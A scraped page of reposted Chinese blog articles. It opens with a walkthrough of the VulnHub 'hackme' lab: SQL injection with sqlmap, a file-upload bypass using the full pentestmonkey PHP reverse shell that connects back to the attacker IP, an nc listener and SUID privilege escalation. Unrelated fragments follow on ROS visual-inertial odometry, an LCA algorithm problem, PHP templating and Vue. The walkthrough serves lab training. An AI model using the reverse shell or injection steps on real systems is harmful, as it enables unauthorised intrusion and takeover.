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...51。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 靶机描述 靶机地址：https://www.vulnhub.com/entry/hackme-1,330/ Description ‘hackme’ is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently privilege escalate as root. The lab was created to mimic real life environment. ‘hackme’ uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently. This works better with VirtualBox rather than VMware 一、搭建靶机环境 攻击机Kali： IP地址：192.168.184.128 靶机： IP地址：192.168.184.149 注：靶机与Kali的IP地址只需要在同一局域网即可（同一个网段,即两虚拟机处于同一网络模式） 二、实战 2.1网络扫描 2.1.1 启动靶机和Kali后进行扫描 方法一、arp-scan -I eth0 -l （指定网卡扫） arp-scan -I eth0 -l 方法二、masscan 扫描的网段 -p 扫描端口号 masscan 192.168.184.0/24 -p 80,22 方法三、netdiscover -i 网卡-r 网段 netdiscover -i eth0 -r 192.168.184.0/24 方法四、等你们补充 2.1.2 查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放，22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解，暂时没有合适的字典 80 端口分析 访问网站， 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入：x' or 1=1 成功返回所有信息，说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名： 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin，超级管理员，看起来像一个md5 扩展 在线解密md5网站 国内MD5解密： http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密： https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是：Uncrackable 登录上去，发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容，并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听：nc -lvp 6666 访问后门文件：http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹：http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash：python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了，换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询：touchmenot 没找到 尝试运行程序：发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这？ 总结 本节使用的工具和漏洞比较基础，涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具：sqlmap 抓包工具：burpsuite Webshell 后门：kali 内置后门 Suid 提权：touchmenot 提权 本篇文章为转载内容。原文链接：https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...的概念，它们同样可以实现类似内容捕获与复用的功能，通过组件化的方式将UI逻辑解耦，提升代码的可维护性和复用性。 另外，PHP社区近期推出了Twig模板引擎的新版本，它在内容捕获与变量处理上也有所创新。例如，Twig中的“set”标签和“block”标签能够实现与Smarty capture类似的特性，甚至提供了更灵活的块级内容捕获与继承机制，这对于构建复杂、动态的网页布局具有显著优势。 同时，随着Serverless架构的发展，无服务器环境下的模板渲染方式也在不断演进。如AWS Lambda结合其云服务的API Gateway使用Velocity模板语言进行响应体的动态构建，这种场景下如何高效利用模板捕获功能来组装数据并返回给客户端，是值得开发者关注的技术实践。 此外，对于 Smarty 用户来说，除了掌握基本的内置函数外，了解 Smarty 3.x 到 Smarty 4 的新特性与迁移策略也至关重要。Smarty 4 提供了更多现代化的语法糖以及对 PHP 新特性的支持，有助于提高模板编写效率和运行性能。 总之，在持续发展的Web开发领域，无论是传统的Smarty模板引擎，还是新兴的前端框架与云服务模板技术，深入了解并掌握各种内容捕获与输出管理的方法，都是提升项目质量与开发体验的关键所在。

...09。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 s_msckf：采用多状态约束的双目vio系统 !!!注意imuCallback：接收IMU数据，将IMU数据存到imu_msg_buffer中，这里只会利用开头200帧IMU数据进行静止初始化，不做其他处理。featureCallback：接收双目特征，进行后端处理。利用IMU进行EKF Propagation，利用双目特征进行EKF Update。静止初始化(initializeGravityAndBias)：将前200帧加速度和角速度求平均, 平均加速度的模值g作为重力加速度, 平均角速度作为陀螺仪的bias, 计算重力向量(0,0,-g)和平均加速度之间的夹角(旋转四元数), 标定初始时刻IMU系与world系之间的夹角. 因此MSCKF要求前200帧IMU是静止不动的 sudo apt-get install libsuitesparse-devcd ~/catkin_ws/srcgit clone KumarRobotics/msckf_viocd ..catkin_make --pkg msckf_vio --cmake-args -DCMAKE_BUILD_TYPE=Release激活环境变量很关键source /devel/setup.bashroslaunch msckf_vio msckf_vio_euroc.launch注意文件路径rosrun rviz rviz -d rviz/rviz_euroc_config.rviz (改成你自己的rviz文件)rosbag play ~/data/euroc/MH_04_difficult.bag(改成你自己的rosbag文件) 可以看到，s_msckf的输出是没有轨迹的，可以增加如下脚本，将/odom存为/path，在rviz订阅即可可视化轨迹 脚本来自其issue：https://github.com/KumarRobotics/msckf_vio/issues/13 !/usr/bin/env pythonimport rospyfrom nav_msgs.msg import Odometry, Pathfrom geometry_msgs.msg import PoseStampedclass OdomToPath:def __init__(self):self.path_pub = rospy.Publisher('/slz_path', Path, latch=True, queue_size=10)self.odom_sub = rospy.Subscriber('/firefly_sbx/vio/odom', Odometry, self.odom_cb, queue_size=10)self.path = Path()def odom_cb(self, msg):cur_pose = PoseStamped()cur_pose.header = msg.headercur_pose.pose = msg.pose.poseself.path.header = msg.headerself.path.poses.append(cur_pose)self.path_pub.publish(self.path)if __name__ == '__main__':rospy.init_node('odom_to_path')odom_to_path = OdomToPath()rospy.spin() 或者增加一个draw_path的功能包： cpp为： include <stdio.h>include <stdlib.h>include <unistd.h>include <ros/ros.h>include <ros/console.h>include <nav_msgs/Path.h>include <std_msgs/String.h>include <nav_msgs/Odometry.h>include <geometry_msgs/Quaternion.h>include <geometry_msgs/PoseStamped.h>nav_msgs::Path path;ros::Publisher path_pub;ros::Subscriber odomSub;ros::Subscriber odom_raw_Sub;void odomCallback(const nav_msgs::Odometry::ConstPtr& odom){geometry_msgs::PoseStamped this_pose_stamped;this_pose_stamped.header= odom->header;this_pose_stamped.pose = odom->pose.pose;//this_pose_stamped.pose.position.x = odom->pose.pose.position.x;//this_pose_stamped.pose.position.y = odom->pose.pose.position.y;//this_pose_stamped.pose.orientation = odom->pose.pose.orientation;//this_pose_stamped.header.stamp = ros::Time::now();//this_pose_stamped.header.frame_id = "world";//frame_id 是消息中与数据相关联的参考系id，例如在在激光数据中，frame_id对应激光数据采集的参考系 path.header= this_pose_stamped.header;path.poses.push_back(this_pose_stamped);//path.header.stamp = ros::Time::now();//path.header.frame_id= "world";path_pub.publish(path);//printf("path_pub ");//printf("odom %.3lf %.3lf\n",odom->pose.pose.position.x,odom->pose.pose.position.y);}int main (int argc, char argv){ros::init (argc, argv, "showpath");ros::NodeHandle ph;path_pub = ph.advertise<nav_msgs::Path>("/trajectory",10, true);odomSub = ph.subscribe<nav_msgs::Odometry>("/firefly_sbx/vio/odom", 10, odomCallback);//ros::Rate loop_rate(50);while (ros::ok()){ros::spinOnce(); // check for incoming messages//loop_rate.sleep();}return 0;} cmakelists.txt cmake_minimum_required(VERSION 2.8.3)project(draw) Compile as C++11, supported in ROS Kinetic and newer add_compile_options(-std=c++11) Find catkin macros and libraries if COMPONENTS list like find_package(catkin REQUIRED COMPONENTS xyz) is used, also find other catkin packagesfind_package(catkin REQUIRED COMPONENTSgeometry_msgsroscpprospystd_msgsmessage_generation)catkin_package( INCLUDE_DIRS include LIBRARIES learning_communicationCATKIN_DEPENDS geometry_msgs roscpp rospy std_msgs message_runtime DEPENDS system_lib) Build include_directories(include${catkin_INCLUDE_DIRS})add_executable(draw_path draw.cpp)target_link_libraries(draw_path ${catkin_LIBRARIES}) package.xml <?xml version="1.0"?><package><name>draw</name><version>0.0.0</version><description>The learning_communication package</description><!-- One maintainer tag required, multiple allowed, one person per tag --><!-- Example: --><!-- <maintainer email="jane.doe@example.com">Jane Doe</maintainer> --><maintainer email="hcx@todo.todo">hcx</maintainer><!-- One license tag required, multiple allowed, one license per tag --><!-- Commonly used license strings: --><!-- BSD, MIT, Boost Software License, GPLv2, GPLv3, LGPLv2.1, LGPLv3 --><license>TODO</license><!-- Url tags are optional, but multiple are allowed, one per tag --><!-- Optional attribute type can be: website, bugtracker, or repository --><!-- Example: --><!-- <url type="website">http://wiki.ros.org/learning_communication</url> --><!-- Author tags are optional, multiple are allowed, one per tag --><!-- Authors do not have to be maintainers, but could be --><!-- Example: --><!-- <author email="jane.doe@example.com">Jane Doe</author> --><!-- The _depend tags are used to specify dependencies --><!-- Dependencies can be catkin packages or system dependencies --><!-- Examples: --><!-- Use build_depend for packages you need at compile time: --><!-- <build_depend>message_generation</build_depend> --><!-- Use buildtool_depend for build tool packages: --><!-- <buildtool_depend>catkin</buildtool_depend> --><!-- Use run_depend for packages you need at runtime: --><!-- <run_depend>message_runtime</run_depend> --><!-- Use test_depend for packages you need only for testing: --><!-- <test_depend>gtest</test_depend> --><buildtool_depend>catkin</buildtool_depend><build_depend>geometry_msgs</build_depend><build_depend>roscpp</build_depend><build_depend>rospy</build_depend><build_depend>std_msgs</build_depend><run_depend>geometry_msgs</run_depend><run_depend>roscpp</run_depend><run_depend>rospy</run_depend><run_depend>std_msgs</run_depend><build_depend>message_generation</build_depend><run_depend>message_runtime</run_depend><!-- The export tag contains other, unspecified, tags --><export><!-- Other tools can request additional information be placed here --></export></package> vins_fusion: 双目vio等多系统 mkdir -p vins-catkin_ws/srccd vins-catkin_ws/srcgit clone https://github.com/HKUST-Aerial-Robotics/VINS-Fusion.gitcd ..catkin_makesource devel/setup.bash按照readme 3.1 Monocualr camera + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.2 Stereo cameras + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.3 Stereo camerasroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/euroc.gif" width = 430 height = 240 /> 4. KITTI Example 4.1 KITTI Odometry (Stereo)Download [KITTI Odometry dataset](http://www.cvlibs.net/datasets/kitti/eval_odometry.php) to YOUR_DATASET_FOLDER. Take sequences 00 for example,Open two terminals, run vins and rviz respectively. (We evaluated odometry on KITTI benchmark without loop closure funtion)roslaunch vins vins_rviz.launch(optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yamlrosrun vins kitti_odom_test ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yaml YOUR_DATASET_FOLDER/sequences/00/ 4.2 KITTI GPS Fusion (Stereo + GPS)Download [KITTI raw dataset](http://www.cvlibs.net/datasets/kitti/raw_data.php) to YOUR_DATASET_FOLDER. Take [2011_10_03_drive_0027_synced](https://s3.eu-central-1.amazonaws.com/avg-kitti/raw_data/2011_10_03_drive_0027/2011_10_03_drive_0027_sync.zip) for example.Open three terminals, run vins, global fusion and rviz respectively. Green path is VIO odometry; blue path is odometry under GPS global fusion.roslaunch vins vins_rviz.launchrosrun vins kitti_gps_test ~/catkin_ws/src/VINS-Fusion/config/kitti_raw/kitti_10_03_config.yaml YOUR_DATASET_FOLDER/2011_10_03_drive_0027_sync/ rosrun global_fusion global_fusion_node<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/kitti.gif" width = 430 height = 240 /> 5. VINS-Fusion on car demonstrationDownload [car bag](https://drive.google.com/open?id=10t9H1u8pMGDOI6Q2w2uezEq5Ib-Z8tLz) to YOUR_DATASET_FOLDER.Open four terminals, run vins odometry, visual loop closure(optional), rviz and play the bag file respectively. Green path is VIO odometry; red path is odometry under visual loop closure.roslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml rosbag play YOUR_DATASET_FOLDER/car.bag 本篇文章为转载内容。原文链接：https://blog.csdn.net/slzlincent/article/details/104364909。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...71。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 http://acm.hdu.edu.cn/showproblem.php?pid=6203 给出q条链 由u和v确定 每条链上至少有一个节点是有故障的 问整个树图中至少有多少故障节点 对于每条链 求出lca 再按lca的深度降序排序 然后对于一条链 如果uv节点都没有被其他链覆盖过 那就将lca对应的整棵子树标记覆盖 答案加加 否则就说明当前这条链上的故障点已经可以和别的链合并了 可以忽略 至于为什么要按深度降序排序 我认为这样每次只需要判断一条链是不是已经通过其他链确定 如果升序排序 每一次要看lca到u和v这条链上有多少其它链上的lca被影响 很难写 （借鉴）同时 由于优先处理 LCA 深度大的点 不会出现点 U V 同时在同一个被禁止通行点 P 的子树内 include <cstdio>include <cmath>include <cstring>include <algorithm>using namespace std;struct node0{int u;int v;int lca;};struct node1{int v;int next;};node0 pre[50010];node1 edge[60010];int dp[30010][15];int val[120010];int first[30010],deep[30010],mp[30010],sum[30010];int n,q,num;bool cmp(node0 n1,node0 n2){return deep[n1.lca]>deep[n2.lca];}void addedge(int u,int v){edge[num].v=v;edge[num].next=first[u];first[u]=num++;}void dfs(int cur,int fa){int i,v;mp[cur]=++num,sum[cur]=1;for(i=first[cur];i!=-1;i=edge[i].next){v=edge[i].v;if(v!=fa){dp[v][0]=cur;deep[v]=deep[cur]+1;dfs(v,cur);sum[cur]+=sum[v];} }return;}void solve(){int i,j;dp[1][0]=0;deep[1]=1;num=0;dfs(1,0);for(j=1;(1<<j)<=n;j++){for(i=1;i<=n;i++){dp[i][j]=dp[dp[i][j-1]][j-1];} }return;}int getlca(int u,int v){int i;if(deep[u]<deep[v]) swap(u,v);for(i=log2(n);i>=0;i--){if(deep[dp[u][i]]>=deep[v]){u=dp[u][i];} }if(u==v) return u;for(i=log2(n);i>=0;i--){if(dp[u][i]!=dp[v][i]){u=dp[u][i];v=dp[v][i];} }return dp[u][0];}void query(int tar,int &res,int l,int r,int cur){int m;res|=val[cur];if(l==r) return;m=(l+r)/2;if(tar<=m) query(tar,res,l,m,2cur);else query(tar,res,m+1,r,2cur+1);}void update(int pl,int pr,int l,int r,int cur){int m;if(pl<=l&&r<=pr){val[cur]=1;return;}m=(l+r)/2;if(pl<=m) update(pl,pr,l,m,2cur);if(pr>m) update(pl,pr,m+1,r,2cur+1);}int main(){int i,u,v,resu,resv,ans;while(scanf("%d",&n)!=EOF){n++;memset(first,-1,sizeof(first));num=0;for(i=1;i<=n-1;i++){scanf("%d%d",&u,&v);u++,v++;addedge(u,v);addedge(v,u);}solve();scanf("%d",&q);for(i=1;i<=q;i++){scanf("%d%d",&pre[i].u,&pre[i].v);pre[i].u++,pre[i].v++;pre[i].lca=getlca(pre[i].u,pre[i].v);}sort(pre+1,pre+q+1,cmp);for(i=1;i<=4n;i++) val[i]=0;ans=0;for(i=1;i<=q;i++){resu=0,resv=0;query(mp[pre[i].u],resu,1,n,1);query(mp[pre[i].v],resv,1,n,1);if(!resu&&!resv){update(mp[pre[i].lca],mp[pre[i].lca]+sum[pre[i].lca]-1,1,n,1);ans++;} }printf("%d\n",ans);}return 0;} 本篇文章为转载内容。原文链接：https://blog.csdn.net/sunyutian1998/article/details/82155271。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...0或443）上运行，用户可以通过访问不同域名来访问各自对应的Web项目，从而实现资源的有效利用和项目的逻辑隔离。 PHP-FPM（FastCGI Process Manager） , PHP-FPM是一种用于处理PHP请求的FastCGI进程管理器，它允许动态调整PHP解释器进程的数量以适应系统负载变化，提高性能和响应速度。在Linux环境下，PHP-FPM常被用来优化PHP与Web服务器（如Nginx）的交互，确保高并发场景下能够高效地分发和处理请求，避免因单一PHP端口共享带来的性能瓶颈问题。 Kubernetes（K8s） , Kubernetes是一个开源容器管理系统，由Google开发并捐赠给Cloud Native Computing Foundation (CNCF)进行维护。在本文语境中，Kubernetes提供了一种基于容器化部署和管理多个Web项目的解决方案。通过创建Pod来为每个Web项目提供独立的运行环境，并能灵活配置服务端口，从而实现项目间的资源隔离、弹性伸缩以及故障恢复等高级功能。此外，Kubernetes中的Ingress控制器可将来自单一IP地址和端口的流量智能路由到集群内部的不同服务，类似于虚拟主机的功能，但在规模和复杂度上有显著提升。

...s那个贼牛的数据驱动功能，还有双向数据绑定的黑科技，来亲手打造一个从头到脚都充满响应性的UI组件库，让你的用户界面动起来，活灵活现的！ 下面是一段简单的代码示例： css { { message } } 在这个例子中，我们创建了一个表单元素，并通过v-model指令绑定了message数据，当表单元素的值改变时，message的值也会相应地改变，从而实现了响应式设计。 二、动态路由 动态路由是指根据URL的变化，动态加载对应的页面内容。在使用Vue.js的时候，我们可以巧妙地借助路由守卫和动态参数这两样法宝，轻松实现这个功能。就像是武侠小说里那样，路由守卫就像是守护关卡的大侠，能帮我们在页面跳转的关键时刻进行拦截和判断；而动态参数嘛，就像是一把可以灵活变化的密钥，使得我们能够根据实际需要，传递并获取到实时变化的数据信息，从而更好地完成这个功能的操作。 下面是一个简单的代码示例： php-template { { item.name } } 在这个例子中，我们使用了动态参数来传递item对象的id属性，然后在动态路由页面中通过$route.params获取到这个id属性，从而动态加载对应的内容。 三、数据持久化 在很多情况下，我们需要保存用户的操作历史或者是登录状态等等。这时，我们就需要用到数据持久化功能。而在Vue.js中，我们可以利用localStorage来实现这个功能。 下面是一个简单的代码示例： javascript export default { created() { this.loadFromLocalStorage(); }, methods: { saveToLocalStorage(key, value) { localStorage.setItem(key, JSON.stringify(value)); }, loadFromLocalStorage() { const data = localStorage.getItem(this.key); if (data) { this.data = JSON.parse(data); } } } } 